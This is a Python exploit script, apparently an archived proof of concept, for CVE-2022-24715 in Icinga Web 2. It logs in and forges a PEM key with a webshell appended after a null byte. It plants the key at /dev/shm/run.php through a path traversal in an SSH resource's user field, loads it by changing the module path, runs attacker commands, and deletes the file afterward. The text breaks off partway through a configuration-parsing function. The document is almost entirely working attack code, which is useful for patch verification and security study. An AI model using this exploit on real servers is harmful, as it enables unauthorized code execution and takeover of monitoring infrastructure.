#!/usr/bin/env python3 # Exploit Title: Icinga Web 2 - Authenticated Remote Code Execution <2.8.6, <2.9.6, <2.10 # Date: 2023-03-20 # Exploit Author: Jacob Ebben # Vendor Homepage: https://icinga.com/ # Software Link: https://github.com/Icinga/icingaweb2 # Version: <2.8.6, <2.9.6, <2.10 # Tested on: Icinga Web 2 Version 2.9.2 on Linux # CVE: CVE-2022-24715 # Based on: https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/ import argparse import requests import re import random import string import threading from os import path from termcolor import colored def print_message(message, type): if type == 'SUCCESS': print('[' + colored('SUCCESS', 'green') + '] ' + message) elif type == 'INFO': print('[' + colored('INFO', 'blue') + '] ' + message) elif type == 'WARNING': print('[' + colored('WARNING', 'yellow') + '] ' + message) elif type == 'ALERT': print('[' + colored('ALERT', 'yellow') + '] ' + message) elif type == 'ERROR': print('[' + colored('ERROR', 'red') + '] ' + message) def get_normalized_url(url): if url[-1] != '/': url += '/' if url[0:7].lower() != 'http://' and url[0:8].lower() != 'https://': url = "http://" + url return url def get_proxy_protocol(url): if url[0:8].lower() == 'https://': return 'https' return 'http' def get_random_string(length): chars = string.ascii_letters + string.digits return ''.join(random.choice(chars) for i in range(length)) def check_connectivity(session, base_url): url = base_url + "authentication/login" result = session.get(url, proxies=proxies) return result.status_code == 200 def get_csrf(session, url): result = session.get(url, proxies=proxies) csrf_regex = r'name="CSRFToken" value="([^"]*)"' csrf_regex_result = re.search(csrf_regex, result.text) if csrf_regex_result is not None: return csrf_regex_result.group(1) else: print_message("Could not retrieve a CSRF token from: {url}".format(url=url), "ERROR") print_message("Are you sure the specified target is an Icinga Web 2 instance?", "INFO") print_message("It is possible that the Icinga Web 2 version is not supported by this script...", "INFO") exit() def login(session, base_url, username, password): url = base_url + "authentication/login" csrf_token = get_csrf(session, url) data = { "username": username, "password": password, "CSRFToken": csrf_token, "formUID": "form_login", "btn_submit": "Login" } result = session.post(url, data=data, proxies=proxies, allow_redirects=False) return result.status_code def read_pem(pem): with open(pem, "r") as pem_file: return pem_file.read() def forge_payload_pem(valid_pem, webshell): return valid_pem + '\x00' + webshell def upload_payload(session, base_url, payload_name, payload): url = base_url + "config/createresource" csrf_token = get_csrf(session, url) data = { "type": "ssh", "name": payload_name, "user": "../../../../../../../../../../../dev/shm/run.php", "private_key": payload, "formUID": "form_config_resource", "CSRFToken": csrf_token, "btn_submit": "Save Changes" } result = session.post(url, data=data, proxies=proxies) return result.status_code def update_application_config(session, base_url, settings): url = base_url + "config/general" csrf_token = get_csrf(session, url) data = { "global_show_stacktraces": settings["global_show_stacktraces"], "global_show_application_state_messages": settings["global_show_application_state_messages"], "global_module_path": settings["global_module_path"], "global_config_resource": settings["global_config_resource"], "logging_log": "none", "themes_default": "Icinga", "themes_disabled": settings["themes_disabled"], "authentication_default_domain": settings["authentication_default_domain"], "formUID": "form_config_general", "CSRFToken": csrf_token, "btn_submit": "Save Changes" } result = session.post(url, data=data, proxies=proxies) return result.status_code def enable_module(session, base_url): url = base_url + "config/moduleenable" csrf_token = get_csrf(session, url) data = { "identifier": "shm", "CSRFToken": csrf_token, "btn_submit": "btn_submit" } result = session.post(url, data=data, proxies=proxies) return result.status_code def disable_module(session, base_url): url = base_url + "config/moduledisable" csrf_token = get_csrf(session, url) data = { "identifier": "shm", "CSRFToken": csrf_token, "btn_submit": "btn_submit" } result = session.post(url, data=data, proxies=proxies) return result.status_code def trigger_payload(session, base_url, command): url = base_url + "dashboard" data = { "cmd": command } result = session.post(url, data=data, proxies=proxies, timeout=2) return result.status_code def check_successful_upload_payload(session, base_url): url = base_url + "lib/icinga/icinga-php-thirdparty/dev/shm/run.php" result = session.get(url, proxies=proxies) return result.status_code == 200 def remove_payload_resource(session, base_url, payload_name): url = base_url + "config/removeresource?resource=" + payload_name csrf_token = get_csrf(session, url) data = { "CSRFToken": csrf_token, "formUID": "form_confirm_removal", "btn_submit": "Confirm Removal" } result = session.post(url, data=data, proxies=proxies) return result.status_code def remove_payload_file(session, base_url): command = "rm /dev/shm/run.php" trigger_payload(session, base_url, command) def show_config_parsing_error(): print_message("Unable to parse the current configuration for recovery after exploitation!", "ERROR") print_message("It is possible that this script was not tested on this version of Icinga Web 2", "INFO") exit() def parse_config_stacktraces(config_page_content): stacktraces_regex = r"id=\"form_config_general_application_global_show_stacktraces-\w*\" value=\"1\" checked=\"checked\"" stacktraces_regex_result = re.search(stacktraces_regex, config_page_content) if stacktraces_regex_result is None: return 0 else: return 1 def parse_config_state_messages(config_page_content): state_messages_regex = r"id=\"form_config_general_application_global_show_application_state_messages-\w*\" value=\"1\" checked=\"checked\"" state_messages_regex_result = re.search(state_messages_regex, config_page_content) if state_messages_regex_result is None: return 0 else: return 1 def parse_config_themes_disabled(config_page_content): themes_disabled_regex = r"id=\"form_config_general_theming_themes_disabled-\w*\" value=\"1\" checked=\"checked\"" result = re.search(themes_disabled_regex, config_page_content) if result is None: return 0 else: return 1 def parse_config_module_path(config_page_content): module_path_regex = r'id="form_config_general_application_global_module_path-\w*" value="([^"]*)"' result = re.search(module_path_regex, config_page_content) if result is None: show_config_parsing_error() else: return result.group(1) def parse_config_default_domain(config_page_content): default_domain_regex = r'id="form_config_general_authentication_authentication_default_domain-\w*" value="([^"]*)"' result = re.search(default_domain_regex, config_page_content) if result is None: show_config_parsing_error() else: return result.group(1) def parse_config_config_resource(config_page_content): option_regex = r'